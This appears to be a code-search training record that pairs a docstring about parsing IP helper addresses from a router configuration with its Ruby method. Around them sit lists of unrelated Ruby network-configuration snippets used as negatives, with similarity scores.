\"eth=\\\"${ETHNAME}\\\"\\n\"\n else\n @o += \"eth=\\\"${ETHNAME}:#{intCnt}\\\"\\n\"\n intCnt += 1\n end\n @o += \"echo \\\"#Generated by AST\\n\" \n @o += \"DEVICE=${eth}\\n\"\n @o += \"BOOTPROTO=none\\n\"\n @o += \"IPV6INIT=yes\\n\"\n @o += \"ONBOOT=yes\\n\"\n @o += \"TYPE=Ethernet\\n\"\n @o += \"IPADDR=\" + i.ip_to_string + \"\\n\"\n @o += \"NETMASK=\" + Networking.i_to_ip(NetAddr.netmask_to_i(cidr.netmask)) + \"\\n\"\n if i == asset.primary_interface\n # First IP is the default gateway\n @o += \"# First IP. Ensure this is correct before apply\\n\"\n @o += \"GATEWAY=\" + Networking.i_to_ip(NetAddr.ip_to_i(cidr.first) + 1) + \"\\n\"\n end\n @o += \"\\\" > \\\"$OUTDIR/ifcfg-${eth}\\\"\\n\"\n @o += \"\\n\"\n @o += \"cat \\\"$OUTDIR/ifcfg-${eth}\\\"\\n\"\n }\n\n intCnt = 1\n # Find VIP asset serves and create lo address\n asset.vip_before_me.each { |v|\n @o += \"echo \\\"#Generated by AST\\n\" \n @o += \"DEVICE=lo:#{intCnt}\\n\"\n @o += \"ONBOOT=yes\\n\"\n @o += \"IPADDR=\" + v.vip_asset.resource.interface.ip_to_string + \"\\n\"\n @o += \"NETMASK=255.255.255.255\\\"\\n\"\n @o += \" > \\\"$OUTDIR/ifcfg-lo:#{intCnt}\\\"\\n\"\n @o += \"\\n\"\n @o += \"cat \\\"$OUTDIR/ifcfg-lo:#{intCnt}\\\"\\n\"\n intCnt += 1\n }\n else\n o += \"echo 'Asset not found'\"\n o += \"exit 1\"\n end\n respond_to do |format|\n format.html { render :partial => 'get_my_ip2', :layout => false, :object => @o }\n end\n end", "def _parse_unit_output(line)\n line_match = /^\\[([AB])\\:([A-Z]+)\\#(\\d+)\\@(\\d+)\\](.*)$/.match line\n return nil unless line_match\n {\n :team => line_match[1],\n :unit_type => line_match[2],\n :unit_id => line_match[3].to_i,\n :round => line_match[4].to_i,\n :output => line_match[5]\n }\n end", "def parse_ip\n @request[FHOST] || BLANK_STR\n end", "def max_packet_size(endpoint_number); end", "def get_mac_address\n IO.popen(\"ifconfig\") do |io|\n while line = io.gets\n return $1 if (line =~ /HWaddr ([A-Z0-9:]+)/)\n end\n end\n return nil\nend", "def max_iso_packet_size(endpoint_number); end", "def parse_metric_length str\n return nil if (str.nil? or str=='')\n mm = get_f_with_units( str, /(\\s)m(illi)?m(et(er|re)(s)?)?/i ) || 0\n cm = get_f_with_units( str, /(\\s)c(enti)?m(et(er|re)(s)?)?/i ) || 0\n m = get_f_with_units( str, /(\\s)m(et(er|re)(s)?)?/i ) || 0\n \n return [m, cm, mm] unless [m, cm, mm].uniq == [0]\n return nil\n end", "def get_mac_for_interface(interfaces, interface)\n interfaces[interface][:addresses].find { |k, v| v[\"family\"] == \"lladdr\" }.first unless interfaces[interface][:addresses].nil? || interfaces[interface][:flags].include?(\"NOARP\")\n end", "def parse_timezone(config)\n mdata = /(?<=^clock timezone\\s)(.+)$/.match(config)\n { timezone: mdata.nil? ? '' : mdata[1] }\n end", "def parse_multicast_group(config)\n mdata = /^\\s*vxlan multicast-group ([^\\s]+)$/.match(config)\n { multicast_group: mdata ? mdata[1] : DEFAULT_MCAST_GRP }\n end", "def find_private_ip\n ip_addresses = interface_addresses\n ip_addresses.each do |ip|\n if ip.start_with?(\"192\") || ip.start_with?(\"10\")\n return ip\n end\n end\n return nil\n end", "def ip_by_interface(int)\n ip = `ifconfig #{int} | awk '/inet addr/ {split ($2,A,\":\"); print A[2]}'`.chomp\n return ip\n end", "def parse_configuration\n @vm_spec_configuration.each do |property, value|\n if property == 'resources'\n parse_resources(value)\n else\n @zonecfg_commands << \"set #{property}=#{value}\"\n end\n end\n @zonecfg_commands << 'exit'\n end", "def get_ip_address(name, eth)\n if eth_iface = network[:interfaces][eth]\n eth_iface[:addresses].each do |key, info|\n jpc2[name] = key if info['family'] == 'inet'\n end\n end\nend", "def payload_offset\n offset =\n case @datalink\n when Capp::DLT_NULL then\n 4\n when Capp::DLT_EN10MB then\n 14\n end\n\n case\n when ipv4? then offset += @ipv4_header.ihl * 4\n when ipv6? then offset += 40\n else raise NotImplementedError\n end\n\n case\n when tcp? then offset += @tcp_header.offset * 4\n when udp? then offset += 8\n else raise NotImplementedError\n end\n\n offset\n end", "def parse_delay(delay)\n values = delay.split(':').map(&:to_i)\n total = 0\n offset = 1\n\n until values.empty? do\n value = values.pop\n total += value * offset\n offset *= 60\n end\n\n total\nend", "def tag_name_max_length\n limits_yaml = YAML.load_data!(\"#{ECON_DATA_PATH}/limits.yml\")\n return limits_yaml['tag_name_max_length']\n end", "def parse_url(url)\n unless V4_IP_REGEX === url\n uri = URI.parse(url)\n if uri.scheme && uri.host\n raise(ArgumentError, \"Invalid beanstalk URI: #{url}\") unless uri.scheme == 'beanstalk'\n host = uri.host\n port = uri.port\n end\n end\n unless host\n match = url.split(/:/)\n host = match[0]\n port = match[1]\n end\n return port ? [host, Integer(port)] : [host]\n end", "def parse_source_interface\n mdata = /(?<=^ntp\\ssource\\s)(.+)$/.match(config)\n { source_interface: mdata.nil? ? DEFAULT_SRC_INTF : mdata[1] }\n end", "def addr; @configuration['addr']; end", "def get_last_mac_address(pool)\n pools = []\n num = -1\n if(is_zigbee?(pool))\n #num needs to start at hex 80:01:00\n num = '800000'.hex - 1\n dts = DeviceType.find(:all, :conditions => \"mac_address_type = 0\")\n conds = []\n dts.each do |dt|\n prefixes = dt.serial_number_prefixes\n prefixes.each do |prefix|\n conds << \"starting_serial_number like '#{prefix.prefix}%'\"\n end\n end\n conds = conds.join(' OR ')\n pools = Pool.find(:all, :conditions => conds)\n elsif(is_gateway?(pool))\n dts = DeviceType.find(:all, :conditions => \"mac_address_type = 1\")\n conds = []\n dts.each do |dt|\n prefixes = dt.serial_number_prefixes\n prefixes.each do |prefix|\n conds << \"starting_serial_number like '#{prefix.prefix}%'\"\n end\n end\n conds = conds.join(' OR ')\n pools = Pool.find(:all, :conditions => conds)\n else\n dts = DeviceType.find(:all, :conditions => \"mac_address_type = 2\")\n conds = []\n dts.each do |dt|\n prefixes = dt.serial_number_prefixes\n prefixes.each do |prefix|\n conds << \"starting_serial_number like '#{prefix.prefix}%'\"\n end\n end\n conds = conds.join(' OR ')\n pools = Pool.find(:all, :conditions => conds) \n end\n \n if pools && pools.size > 1\n pools.each do |p|\n if p.ending_mac_address\n last_num = get_last_mac_num(p.ending_mac_address)\n end\n if last_num && last_num > num\n num = last_num\n end\n end\n end\n return num\n end", "def parse_ip(ip)\n\t\tif (ip.include?(\":\"))\n\t\t\treturn IPv6.parse(ip)\n\t\tend\n\t\treturn IPv4.parse(ip)\n\tend", "def get_vm_memory(vm_name, default_value) \n require_string(vm_name)\n require_integer(default_value)\n\n return get_env_variable(\"UPLF_#{vm_name}_MEMORY\", default_value)\n end", "def parse_helper_addresses(config)\n helpers = config.scan(/(?<=\\s{3}ip\\shelper-address\\s).+$/)\n { helper_addresses: helpers }\n end", "def packet_length\n self[:ip_len]\n end", "def getconfig\n output = zonecfg :info\n\n name = nil\n current = nil\n hash = {}\n output.split(\"\\n\").each do |line|\n case line\n when %r{^(\\S+):\\s*$}\n name = Regexp.last_match(1)\n current = nil # reset it\n when %r{^(\\S+):\\s*(\\S+)$}\n hash[Regexp.last_match(1).to_sym] = Regexp.last_match(2)\n when %r{^\\s+(\\S+):\\s*(.+)$}\n if name\n hash[name] ||= []\n unless current\n current = {}\n hash[name] << current\n end\n current[Regexp.last_match(1).to_sym] = Regexp.last_match(2)\n else\n err \"Ignoring '#{line}'\"\n end\n else\n debug \"Ignoring zone output '#{line}'\"\n end\n end\n\n hash\n end", "def dev_addr(mac, family='lladdr')\n interface_node = node['network']['interfaces']\n addr = mac.downcase\n interface_node.select do |dev, data|\n data['addresses'].select do |id, prop|\n\treturn dev if id.downcase == addr && prop['family'] == family\n end\n end\n return nil\n end", "def ethernet_coalesce_parameters(iface)\n return iface unless ethtool_binary_path\n\n iface.each_key do |tmp_int|\n next unless iface[tmp_int][:encapsulation] == \"Ethernet\"\n\n so = shell_out(\"#{ethtool_binary_path} -c #{tmp_int}\")\n logger.trace(\"Plugin Network: Parsing ethtool output: #{so.stdout}\")\n iface[tmp_int][\"coalesce_params\"] = {}\n so.stdout.lines.each do |line|\n next if line.start_with?(\"Coalesce parameters for\")\n next if line.strip.nil?\n\n if line.start_with?(\"Adaptive\")\n _, adaptive_rx, _, adaptive_tx = line.split(/:\\s+|\\s+TX|\\n/)\n iface[tmp_int][\"coalesce_params\"][\"adaptive_rx\"] = adaptive_rx\n iface[tmp_int][\"coalesce_params\"][\"adaptive_tx\"] = adaptive_tx\n next\n end\n key, val = line.split(/:\\s+/)\n if val\n coalesce_key = key.downcase.tr(\" \", \"_\").to_s\n iface[tmp_int][\"coalesce_params\"][coalesce_key] = val.to_i\n end\n end\n end\n iface\n end", "def parse_block(b)\n results = {}\n b.each do |line|\n\n if line =~ /^Location \\[(\\d+),(\\d+)\\]$/\n results['beginning'] = $1\n results['end'] = $2\n elsif line =~ /^tmRNA Sequence in\\s(\\w+)/\n results['sequence_acc'] = $1\n elsif line =~ /^Tag peptide:\\s+(.+)/\n results['tag_peptide'] = $1\n end\n end\n\n return results\n end", "def libvirt_vm_ip(name)\n mac = `sudo virsh domiflist #{name} | tail -n +3 | tr -s \" \" | cut -f 5 -d \" \"`.strip\n address = `arp | grep -i #{mac} | cut -f1 -d \" \"`.chomp\n { address: address, port: SSH_PORT }\n end", "def rem_addr_len=(val)\n if (val.kind_of?(Integer))\n @rem_addr_len = val & 0xff\n elsif(val.kind_of?(String))\n raise ArgumentError, \"Value must be 1-byte, but was #{val.length}.\" if (val.length != 1) \n @rem_addr_len = val.unpack('C')[0]\n else\n raise ArgumentError, \"Expected String or Integer, but #{val.class} provided.\" \n end\n return(nil)\n end", "def max_address_reg_size\n @max_address_reg_size\n end", "def remote_maximum_packet_size; end", "def tokenizer_relay_header_pool_type\n TokenExtractor.new(\n :pool_type,\n /\\s*(?<=vasca)\\s(25|50)(?=m)/ix,\n 2\n )\n end", "def ethernet_channel_parameters(iface)\n return iface unless ethtool_binary_path\n\n iface.each_key do |tmp_int|\n next unless iface[tmp_int][:encapsulation] == \"Ethernet\"\n\n so = shell_out(\"#{ethtool_binary_path} -l #{tmp_int}\")\n logger.trace(\"Plugin Network: Parsing ethtool output: #{so.stdout}\")\n type = nil\n iface[tmp_int][\"channel_params\"] = {}\n so.stdout.lines.each do |line|\n next if line.start_with?(\"Channel parameters for\")\n next if line.strip.nil?\n\n if line.include?(\"Pre-set maximums\")\n type = \"max\"\n next\n end\n if line.include?(\"Current hardware settings\")\n type = \"current\"\n next\n end\n key, val = line.split(/:\\s+/)\n if type && val\n channel_key = \"#{type}_#{key.downcase.tr(\" \", \"_\")}\"\n iface[tmp_int][\"channel_params\"][channel_key] = val.to_i\n end\n end\n end\n iface\n end", "def mac_addr\n if (mac_addr = @host.at('tag[name=mac-addr]'))\n mac_addr.inner_text\n end\n end" ]
[ "0.5211812", "0.5018331", "0.4960494", "0.47897443", "0.47897443", "0.47897443", "0.46736765", "0.45819524", "0.4567225", "0.4567225", "0.4536106", "0.45030543", "0.4454673", "0.4435197", "0.42548397", "0.41761297", "0.41229007", "0.40790644", "0.40653437", "0.40483755", "0.40277117", "0.40273646", "0.40144578", "0.40061823", "0.39978617", "0.3989508", "0.39888808", "0.39888808", "0.39746508", "0.3972935", "0.39639392", "0.396139", "0.3959448", "0.3955187", "0.39524543", "0.39400142", "0.39391026", "0.39378262", "0.3934534", "0.3923728", "0.3915096", "0.3894951", "0.38928974", "0.38894227", "0.38879582", "0.38719234", "0.38692403", "0.38684505", "0.38584414", "0.38539094", "0.38424566", "0.38380593", "0.3835004", "0.38321093", "0.3829795", "0.38216934", "0.38169527", "0.3815396", "0.3814951", "0.3814951", "0.38135186", "0.38096216", "0.37986794", "0.37908027", "0.37879708", "0.3774692", "0.37681195", "0.37669742", "0.3762081", "0.37616527", "0.37589058", "0.3758703", "0.375384", "0.3746942", "0.3737019", "0.37352604", "0.37350586", "0.37327284", "0.37201443", "0.37162656", "0.37140703", "0.3706903", "0.3703352", "0.3696759", "0.36967438", "0.3693943", "0.36919096", "0.3669858", "0.36690587", "0.36665428", "0.36656582", "0.3665643", "0.36621693", "0.36505872", "0.3645473", "0.36236852", "0.362257", "0.3621658", "0.36149645", "0.36128828" ]
0.7849626
0
parse_helper_addresses scans the provided configuration block and extracts any configured IP helper address values. The interface could be configured with one or more helper addresses. If no helper addresses are configured, then an empty array is set in the return hash. The return value is intended to be merged into the ipaddress resource hash.
def parse_helper_addresses(config) helpers = config.scan(/(?<=\s{3}ip\shelper-address\s).+$/) { helper_addresses: helpers } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_helper_addresses(name, opts = {})\n value = opts[:value]\n enable = opts.fetch(:enable, true)\n default = opts[:default] || false\n\n if value\n unless value.is_a?(Array)\n raise ArgumentError, 'value must be an Array'\n end\n end\n\n case default\n when true\n cmds = 'default ip helper-address'\n when false\n cmds = ['no ip helper-address']\n value.each { |addr| cmds << \"ip helper-address #{addr}\" } if enable\n end\n configure_interface(name, cmds)\n end", "def parse_address(config)\n mdata = /(?<=^\\s{3}ip\\saddress\\s)(.+)$/.match(config)\n { address: mdata.nil? ? DEFAULT_ADDRESS : mdata[1] }\n end", "def private_ipaddresses\n # Create an array to hold the addresses\n addresses = []\n\n # Iterate around the filter that has been populated\n entries.each do |entry|\n entry.ip_configurations.each do |ip_config|\n addresses << ip_config['private_ipaddress']\n end\n end\n\n # return the array to the calling function\n addresses\n end", "def extract_addresses(address_list)\n addresses = []\n address_list.each do |address|\n addresses << address[:address] if ['ipv4', 'hostname'].include?(address[:type])\n end\n addresses\nend", "def get_addresses\n return [get_pubkey_address] if is_pubkey?\n return [get_hash160_address] if is_hash160? || is_namecoin?\n return get_multisig_addresses if is_multisig?\n []\n end", "def get_addresses\n parsed_script.get_addresses\n end", "def available_ips\n range = conf['addresses']['range']\n unless(range.to_s.empty?)\n range = (range.split('-').first.split('.').last..range.split('-').last).map{|oct|\n \"#{range.split('-').first.split('.').slice(0,3).join('.')}.#{oct}\"\n }\n else\n range = []\n end\n (conf['addresses']['static'] + range).compact\nend", "def determine_ips\n ips = @info[:ip] = {private: [], public: []}\n\n ifc_cmd = \"/sbin/ifconfig|grep 'inet addr'|grep -v ':127'|sed -e \" \\\n \"'s/.*addr:\\([0-9.]*\\) .*/\\\\1/'\"\n ifconfig = @shell.query('IFCONFIG', ifc_cmd)\n\n ifconfig.each_line do |ip|\n ip.strip!\n ips[rfc1918?(ip)] << ip\n end\n end", "def two_factor_excluded_ip_addresses\n []\n end", "def validate_ip_addresses(config)\n ips = []\n [*config['nodes']].each do |node|\n if ip = node['ip']\n raise_ip_err(ip, node['name']) if ips.include?(ip)\n ips.push(ip)\n end\n end\n log.debug \"ips = #{ips}\"\n end", "def parse_ip_configurations(ip_configurations)\n # Iterate around all of the IP configurations\n ip_configurations.each.map do |ip_configuration|\n parse_ip_configuration(ip_configuration)\n end.compact\n end", "def addresses network=nil\n if network\n data = on_network network\n ips = data.map { |v| (v.has_key? :ip) ? v[:ip] : nil }\n else\n vips.each_key.map { |k| vips[k][:ip] }\n end\n end", "def get_addresses apts\n return apts.map { |apt| apt.address }\n end", "def addresses\n @addresses ||= init_addresses\n end", "def service_addresses(service, index = nil)\n loop do\n addresses, nindex = service_addresses!(service, index)\n return [addresses, nindex] if addresses && nindex\n end\n end", "def included_addresses\n @included_scan_targets[:addresses]\n end", "def process_config(parsed_config)\n final_config = []\n parsed_config.each do |config_block|\n # Skip any blocks that are explicitely not enabled\n next if config_block.key?('enabled') && !config_block['enabled']\n if config_block['remoteHost'].instance_of? Array\n final_config += split_multi_remotehost_config_blocks(config_block)\n else\n final_config << config_block\n end\n end\n final_config\nend", "def ip_addresses_for(institution)\n varname = \"@ip_addresses_for_#{institution.code.to_s.downcase}\"\n ip_addresses_for_institution = self.instance_variable_get(varname)\n if ip_addresses_for_institution.nil?\n self.instance_variable_set(varname, reload_ip_addresses_for(institution))\n else\n ip_addresses_for_institution\n end\n end", "def init_addresses\n @@client.describe_addresses.addresses\n end", "def private_ip_addresses\n addresses = []\n if network_interfaces.respond_to? :map\n addresses = network_interfaces.map { |nic| nic[:network_ip] }\n end\n addresses\n end", "def decompose_address(parts)\n addresses = parts || []\n address, city, zip, country_code = nil, nil, nil, nil\n\n if !addresses.empty?\n address = addresses[0] if addresses[0]\n zip, city = addresses[1].split(\" \", 2) if addresses[1]\n country_code = addresses[2] if addresses[2]\n end\n\n [address, city, zip, country_code]\n end", "def addresses\n collect { |a| a.address }\n end", "def parse_response\n @fields['address_components'].each do |field|\n parse_field(field)\n end\n define_address\n end", "def ceph_chef_mon_addresses\n mon_ips = ceph_chef_mon_nodes_ip(ceph_chef_mon_nodes)\n mon_ips.reject(&:nil?).uniq\nend", "def ip_entries\n values_of_type(RULE_EXCEPTION_TYPE[:client_ip])\n .collect { |v| v[\"ips\"] }\n .flatten\n .map { |e| e.strip }\n end", "def from_addresses\n return @from_addresses\n end", "def each_address(&blk) # :yields: url\n addresses.each(&blk)\n end", "def construct_helper_params\n res = []\n networks.each do |network_name, network_data|\n name = (network_data[:shortname]) ? network_data[:shortname] : network_name\n\n line = \"#{name}:#{network_name}\"\n (network_data[:dhcp]) || line << ':NODHCP'\n res << line\n end\n res.join(' ')\n end", "def describe_addresses( options = {} )\n options = { :public_ip => [] }.merge(options)\n params = pathlist(\"PublicIp\", options[:public_ip])\n return response_generator(:action => \"DescribeAddresses\", :params => params)\n end", "def ip_addresses\n @entries.collect do |entry|\n entry.ip_address\n end.compact || []\n end", "def lookup_addresses(data)\n return @servers\n end", "def address(options=nil)\n delimiter = '-'\n\n octets = []\n octets.concat(unpack_oui)\n octets.concat(unpack_ei)\n\n if (options)\n if (!options.kind_of? Hash)\n raise ArgumentError, \"Expected Hash, but #{options.class} provided.\"\n end\n\n if (options.has_key?(:Delimiter))\n delimiter = options[:Delimiter]\n delimiter = '-' if (delimiter != '-' && delimiter != ':' && delimiter != '.' )\n end\n end\n\n if (delimiter == '-' || delimiter == ':')\n address = octets.join(delimiter)\n elsif (delimiter == '.')\n toggle = 0\n octets.each do |x|\n if (!address)\n address = x\n toggle = 1\n elsif (toggle == 0)\n address = address << '.' << x\n toggle = 1\n else\n address = address << x\n toggle = 0\n end\n end \n\n end\n\n return(address)\n end", "def listen_addresses\n node['network']['interfaces'].map do |iface, data| \n data[\"addresses\"].select { |addr, data| data[\"family\"] == \"inet\" }.keys[0]\n end\nend", "def parse_ip_configuration(ip_configuration)\n config = {\n 'name' => ip_configuration.name,\n 'primary' => ip_configuration.primary,\n 'private_ipaddress' => ip_configuration.private_ipaddress,\n 'public_ipaddress' => {\n 'attached' => !ip_configuration.public_ipaddress.nil?,\n },\n }\n\n # if there is a public IP address attached get its details\n if config['public_ipaddress']['attached']\n\n # Get the name of the resource group and the name of the NIC\n # This is required as the card might be in a different resource group\n public_ip_raw = ip_configuration.public_ipaddress.id.split(%r{/})\n public_ip_resource_group_name = public_ip_raw[4]\n public_ip_name = public_ip_raw.last\n\n # Interrogate Azure for the NIC details\n public_ip = helpers.network_mgmt.client.public_ipaddresses.get(public_ip_resource_group_name, public_ip_name)\n\n # update the config with the information about the public IP if public dns settings are available\n if !public_ip.dns_settings.nil?\n config['public_ipaddress']['domain_name_label'] = public_ip.dns_settings.domain_name_label\n config['public_ipaddress']['dns_fqdn'] = public_ip.dns_settings.fqdn\n else\n config['public_ipaddress']['domain_name_label'] = nil\n config['public_ipaddress']['dns_fqdn'] = nil\n end\n end\n\n # return object\n config\n end", "def addresses_dhcp(service_arg=service, options={})\n mac=self.mac\n\n ip_address = nil\n nic = self.nics.find {|nic| nic.mac==mac}\n if !nic.nil?\n net = service.networks.all(:name => nic.network).first\n if !net.nil?\n leases = net.dhcp_leases(mac, 0)\n # Assume the lease expiring last is the current IP address\n ip_address = leases.sort_by { |lse| lse[\"expirytime\"] }.last[\"ipaddr\"] if !leases.empty?\n end\n end\n\n return { :public => [ip_address], :private => [ip_address] }\n end", "def find_good_ip_addr list\n list.each do |addr|\n triplets = addr.split('.')\n if not triplets[0].to_i == 255 and not triplets[2].to_i == 255\n return addr\n end\n end\n nil\nend", "def list_ip_address_blocks(opts = {})\n data, _status_code, _headers = list_ip_address_blocks_with_http_info(opts)\n data\n end", "def load_hash\n ifconfig = {}\n aliases = []\n addrs = []\n\n # Initially, the IP and IP6 has not been set. This helps track whether\n # we are creating aliases or the first of the addresses.\n ip6set = false\n ipset = false\n\n process_addresses(@addresses) {|addr|\n if addr =~ /DHCP/\n addrs << addr\n elsif addr =~ /inet6 /\n if ip6set\n aliases << addr\n else\n addrs << addr\n ip6set = true\n end\n elsif addr =~ /inet /\n if ipset\n aliases << addr\n else\n addrs << addr\n ipset = true\n end\n else\n raise ArgumentError(\"unhandled address family\")\n end\n }\n\n # append the options to the first address\n opts = options_string()\n\n if addrs.size > 0\n ifconfig[:addrs] = addrs\n\n if opts and opts.size > 0\n ifconfig[:addrs][0] = [ifconfig[:addrs][0],opts].join(' ')\n end\n else\n if opts and opts.size > 0\n ifconfig[:addrs] = options_string()\n end\n end\n\n if aliases.size > 0\n ifconfig[:aliases] = aliases\n end\n\n {@name.to_sym => ifconfig}\n end", "def parse_dns(address)\n fwd_entries={}\n aliases=nil\n begin\n Socket.getaddrinfo(address,nil).each do |addr_struct|\n addr=addr_struct[2]\n ip=addr_struct[3]\n if fwd_entries[addr].nil?\n fwd_entries[addr]=[ip]\n elsif !fwd_entries[addr].include?(ip)\n fwd_entries[addr] << ip\n end\n end\n rescue SocketError =>e\n end\n ret_arr=[]\n if fwd_entries.empty? then\n puts \"[warning] Could not determine an IP address for \\\"#{address}\\\"\"\n else\n fwd_entries.each do |fwd,ips|\n ips.each do |ip|\n ret_arr << {:ip=>ip, :addr=>fwd}\n end\n end\n end\n return ret_arr\n end", "def service_addresses!(service, index = nil)\n meta = {}\n resp = _service.get(service, :all, {index: index, wait: '2s'}, meta)\n\n if (nindex = meta[:index]) != index\n addresses = resp.map do |address|\n {\n id: address.ServiceID,\n ip: address.ServiceAddress,\n node: address.Node,\n port: address.ServicePort\n }\n end\n\n [addresses, nindex]\n end\n end", "def lookupd_http_addresses\n @lookups ||= ENV.fetch(\"NSQLOOKUPD_HTTP_ADDRESS\", \"\").split(/, ?|\\s+/).map(&:strip)\n end", "def parse_addresses_from_server_create_hash cloud_server_hash, ret_array=[]\n ap(cloud_server_hash) if @options['verbose']\n \n ret_array = case @options['preferred_cloud']\n when 'rackspace'\n [cloud_server_hash['ipv4_address'], cloud_server_hash['addresses']['private'][0]['addr']]\n when 'digitalocean'\n [\n cloud_server_hash['networks']['v4'].select { |hash| hash['type'] == 'public' }.first['ip_address'],\n cloud_server_hash['networks']['v4'].select { |hash| hash['type'] == 'private' }.first['ip_address']\n ]\n else raise \"CRITICAL! Encountered unsupported preferred cloud #{ @options['preferred_cloud'] }\"\n end\n\n raise \"CRITICAL! Unable to capture addresses for the server!\" if ret_array[0].nil? || ret_array[1].nil?\n\n ret_array\n rescue StandardError => e\n puts \"Encountered #{ e } for server hash:\"\n ap cloud_server_hash\n end", "def parse_address_text(text) \n #clear variables\n @errors = []\n @address_hash = {}\n \n @address_hash[:text_block] = text\n \n split_address_lines(text)\n \n #****************************DEBUG*********************************************************************\n # puts \"address_hash: #{@address_hash}\"\n # puts \"errors: #{@errors}\"\n #****************************DEBUG*********************************************************************\n \n return {address: @address_hash, errors: @errors}\nend", "def getaddresses(name)\n return [name] if ADDRESS_REGEX.match(name)\n @resolvers.each do |resolver|\n addresses = []\n resolver.each_address(name) { |address| addresses << address }\n return addresses unless addresses.empty?\n end\n []\n end", "def call_address_service\n addresses = []\n success = call_ok?(:address_search, make_request) do |body|\n ServiceClient.iterate_element(body[:address_list]) do |address|\n add_address(addresses, address) unless address.nil?\n end\n end\n [success, addresses]\n end", "def addresses\n Array(@addresses)\n end", "def calculate_addresses(mem_mask)\n x_loc = []\n addr_list = []\n mem_mask.split('').each_index { |i| x_loc.push(i) if mem_mask[i] == 'X' }\n (2**x_loc.length).times do |i|\n this_addr = mem_mask.clone\n x_loc.length.times do |j|\n i[j] == 1 ? this_addr[x_loc[j]] = '1' : this_addr[x_loc[j]] = '0'\n end\n addr_list.push(this_addr.to_i(2))\n end\n return addr_list\nend", "def addresses\n return @addresses if @addresses\n @addresses = []\n @report.lines.each do |l|\n a = Crashreport.address_from_report_line(l)\n @addresses << a if a\n end\n @addresses\n end", "def add_ip_addresses(addresses, comment=\"\", list=\"GFWed\")\n logger.info \"addresses: #{addresses}\"\n message = \"\"\n counter = 0\n addresses.gsub!(\"\\r\", \"\")\n addresses.split(\"\\n\").each do |address|\n counter += 1\n message += add_ip_address(address, comment, list, false)\n end\n \n message = message == \"\" ? \"#{settings.rui_host}: #{counter} ip addresses add commands was sent.\" : message\n return message\n end", "def describe_addresses_for_instance(ec2_client, instance_id)\n response = ec2_client.describe_addresses(\n filters: [\n {\n name: \"instance-id\",\n values: [instance_id]\n }\n ]\n )\n addresses = response.addresses\n if addresses.count.zero?\n puts \"No addresses.\"\n else\n addresses.each do |address|\n puts \"-\" * 20\n puts \"Public IP: #{address.public_ip}\"\n puts \"Private IP: #{address.private_ip_address}\"\n end\n end\nrescue StandardError => e\n puts \"Error getting address information for instance: #{e.message}\"\nend", "def parse(string)\n string.scan(ADDRESS_REGEXP).flatten\n end", "def addresses(service_arg=service, options={})\n addresses_method = self.method(:addresses_dhcp)\n # check if ruby-libvirt was compiled against a new enough version\n # that can use dhcp_leases, as otherwise it will not provide the\n # method dhcp_leases on any of the network objects.\n has_dhcp_leases = true\n begin\n service.networks.first.dhcp_leases(self.mac)\n rescue NoMethodError\n has_dhcp_leases = false\n rescue\n # assume some other odd exception.\n end\n\n # if ruby-libvirt not compiled with support, or remote library is\n # too old (must be newer than 1.2.8), then use old fallback\n if not has_dhcp_leases or service.libversion() < 1002008\n addresses_method = self.method(:addresses_ip_command)\n end\n\n # replace current definition for this instance with correct one for\n # detected libvirt to perform check once for connection\n (class << self; self; end).class_eval do\n define_method(:addresses, addresses_method)\n end\n addresses(service_arg, options)\n end", "def addresses(rev=nil, &block)\n return to_enum(:addresses, rev) if ! block_given?\n sections.each { |s| s.addresses(rev).each { |a| yield a } }\n end", "def resolve_alias(addresses, ipvers)\n addresses = [addresses] unless addresses.is_a?(Array)\n result = []\n addresses.each do |address|\n if address =~ /^([\\w\\-]+)$/\n if aliases[address]\n result += select_ipvers(aliases[address], ipvers)\n else\n raise \"Alias is not defined: #{address}\"\n end\n else\n result += select_ipvers(address, ipvers)\n end\n end\n result\n end", "def setDefaults\n ips = []\n if $IN_AWS\n [\"public-ipv4\", \"local-ipv4\"].each { |addr|\n begin\n Timeout.timeout(2) do\n ip = URI.open(\"http://169.254.169.254/latest/meta-data/#{addr}\").read\n ips << ip if !ip.nil? and ip.size > 0\n end\n rescue OpenURI::HTTPError, Timeout::Error, SocketError\n # these are ok to ignore\n end\n }\n elsif $IN_GOOGLE\n base_url = \"http://metadata.google.internal/computeMetadata/v1\"\n begin\n Timeout.timeout(2) do\n # TODO iterate across multiple interfaces/access-configs\n ip = URI.open(\"#{base_url}/instance/network-interfaces/0/ip\", \"Metadata-Flavor\" => \"Google\").read\n ips << ip if !ip.nil? and ip.size > 0\n ip = URI.open(\"#{base_url}/instance/network-interfaces/0/access-configs/0/external-ip\", \"Metadata-Flavor\" => \"Google\").read\n ips << ip if !ip.nil? and ip.size > 0\n end\n rescue OpenURI::HTTPError, Timeout::Error, SocketError => e\n # This is fairly normal, just handle it gracefully\n end\n end\n\n\n $CONFIGURABLES[\"allow_invade_foreign_vpcs\"][\"default\"] = false\n $CONFIGURABLES[\"public_address\"][\"default\"] = $possible_addresses.first\n $CONFIGURABLES[\"hostname\"][\"default\"] = Socket.gethostname\n $CONFIGURABLES[\"banner\"][\"default\"] = \"Mu Master at #{$CONFIGURABLES[\"public_address\"][\"default\"]}\"\n if $IN_AWS\n # XXX move this crap to a callback hook for puttering around in the AWS submenu\n aws = JSON.parse(URI.open(\"http://169.254.169.254/latest/dynamic/instance-identity/document\").read)\n iam = nil\n begin\n iam = URI.open(\"http://169.254.169.254/latest/meta-data/iam/security-credentials\").read\n rescue OpenURI::HTTPError, SocketError\n end\n # $CONFIGURABLES[\"aws\"][\"subtree\"][\"account_number\"][\"default\"] = aws[\"accountId\"]\n $CONFIGURABLES[\"aws\"][\"subtree\"][\"region\"][\"default\"] = aws[\"region\"]\n if iam and iam.size > 0\n # XXX can we think of a good way to test our permission set?\n $CONFIGURABLES[\"aws\"][\"subtree\"][\"access_key\"][\"desc\"] = $CONFIGURABLES[\"aws\"][\"subtree\"][\"access_key\"][\"desc\"] + \". Not necessary if IAM Profile #{iam.bold} has sufficient API access.\"\n $CONFIGURABLES[\"aws\"][\"subtree\"][\"access_secret\"][\"desc\"] = $CONFIGURABLES[\"aws\"][\"subtree\"][\"access_key\"][\"desc\"] + \". Not necessary if IAM Profile #{iam.bold} has sufficient API access.\"\n end\n end\n $CONFIGURABLES[\"aws\"][\"subtree\"][\"log_bucket_name\"][\"default\"] = $CONFIGURABLES[\"hostname\"][\"default\"]\n $CONFIGURABLES[\"google\"][\"subtree\"][\"log_bucket_name\"][\"default\"] = $CONFIGURABLES[\"hostname\"][\"default\"]\n end", "def public_ip_addresses\n addresses = []\n if network_interfaces.respond_to? :flat_map\n 